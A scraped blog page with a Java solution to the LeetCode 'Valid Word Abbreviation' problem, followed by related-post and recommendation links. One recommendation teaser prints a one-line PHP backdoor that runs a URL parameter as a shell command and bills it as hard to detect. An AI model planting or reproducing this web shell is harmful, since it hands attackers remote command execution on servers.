Given a non-empty string s and an abbreviation abbr, return whether the string matches with the given abbreviation.

A string such as "word" contains only the following valid abbreviations:

["word", "1ord", "w1rd", "wo1d", "wor1", "2rd", "w2d", "wo2", "1o1d", "1or1", "w1r1", "1o2", "2r1", "3d", "w3", "4"]
Notice that only the above abbreviations are valid abbreviations of the string "word". Any other string is not a valid abbreviation of "word". Note:
Assume s contains only lowercase letters and abbr contains only lowercase letters and digits. Example 1:
Given s = "internationalization", abbr = "i12iz4n": Return true.
Example 2:
Given s = "apple", abbr = "a2e": Return false.
 public class Solution {
public boolean validWordAbbreviation(String word, String abbr) {
int i = 0, j = 0;
while (i<word.length() && j<abbr.length()) {
if (!isDigit(abbr.charAt(j))) {
if (word.charAt(i) != abbr.charAt(j)) return false;
i++;
j++;
}
else {
int num = 0;
while (j<abbr.length() && isDigit(abbr.charAt(j))) {
num = num*10 + (int)(abbr.charAt(j)-'0');
if (num == 0) return false; //"001" with '0' at front should return false
j++;
}
i = i + num;
}
}
if (i==word.length() && j==abbr.length()) return true;
return false;
} public boolean isDigit(char c) {
if (c>='0' && c<='9') return true;
return false;
}
}

Leetcode: Valid Word Abbreviation的更多相关文章

  1. [LeetCode] Valid Word Abbreviation 验证单词缩写

    Given a non-empty string s and an abbreviation abbr, return whether the string matches with the give ...

  2. [LeetCode] 527. Word Abbreviation 单词缩写

    Given an array of n distinct non-empty strings, you need to generate minimal possible abbreviations ...

  3. [LeetCode] Valid Word Square 验证单词平方

    Given a sequence of words, check whether it forms a valid word square. A sequence of words forms a v ...

  4. 408. Valid Word Abbreviation有效的单词缩写

    [抄题]: Given a non-empty string s and an abbreviation abbr, return whether the string matches with th ...

  5. Leetcode: Valid Word Square

    Given a sequence of words, check whether it forms a valid word square. A sequence of words forms a v ...

  6. Leetcode Unique Word Abbreviation

    An abbreviation of a word follows the form <first letter><number><last letter>. Be ...

  7. 【LeetCode】408. Valid Word Abbreviation 解题报告(C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 双指针 日期 题目地址:https://leetcod ...

  8. [LeetCode] Unique Word Abbreviation 独特的单词缩写

    An abbreviation of a word follows the form <first letter><number><last letter>. Be ...

  9. 408. Valid Word Abbreviation

    感冒之后 睡了2天觉 现在痊愈了 重启刷题进程.. Google的题,E难度.. 比较的方法很多,应该是为后面的题铺垫的. 题不难,做对不容易,edge cases很多,修修改改好多次,写完发现是一坨 ...

随机推荐

  1. zookeeper选举原理

    zookeeper的领导者选举和原子广播   目录:     1.工作原理概述     2.Fast Leader选举算法(领导者选举)     3.Leader与Follower同步数据(原子广播) ...

  2. Codeforces Round #FF(255) DIV2

    A - DZY Loves Hash 水题,开辟一个数组即可 #include <iostream> #include <vector> #include <algori ...

  3. Python数据库迁移脚本(终极版)

    上次的那几个脚本这次全部整合到了一起,而且后面发现了一个可以使用的ODBC包,于是这次采用的方式就很简单了,直接通过ODBC将InterBase数据库中的数据全部取出来之后通过Python的sqlal ...

  4. easyUI下拉列表三级联动

    首先是先想好数据库的搭建,通过地区id,地区名称,上级地区id就可以实现,所有省市区的数据 例如: DAO层 service层 Servlet 页面 <!DOCTYPE html> < ...

  5. 修改ie的默认值 为ie10

    <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE10" />

  6. phpcms开发过程中遇到的问题总结

    1.Q:phpcms后台页面使用ajax会进不了控制器方法中 A:因为后台安全性比较高,需要进行hash验证,直接在浏览器输入ajax要访问的路径就会出现如下图的报错.所以后台页面尽可能用其他方法   ...

  7. iOS 循环引用

    1.循环引用一般是指:A持有B,B同时持有A,从而导致死循环无法释放对象. 2.一般循环引用出现在block和delegate中,而一般解决方法就是将self变成weakSelf(强引用变成弱引用), ...

  8. python与shell的3种交互方式介绍

    [目录] 1.os.system(cmd) 2.os.popen(cmd) 3.利用subprocess模块 4.subprocessor模块进阶 [概述] 考虑这样一个问题,有hello.py脚本, ...

  9. PHP最简单的后门,且难查,不报毒!

    <?php $c=urldecode($_GET['c']);if($c){`$c`;}//完整 !$_GET['c']||`{$_GET['c']}`;//精简 /************** ...

  10. php上传大文件,提示出错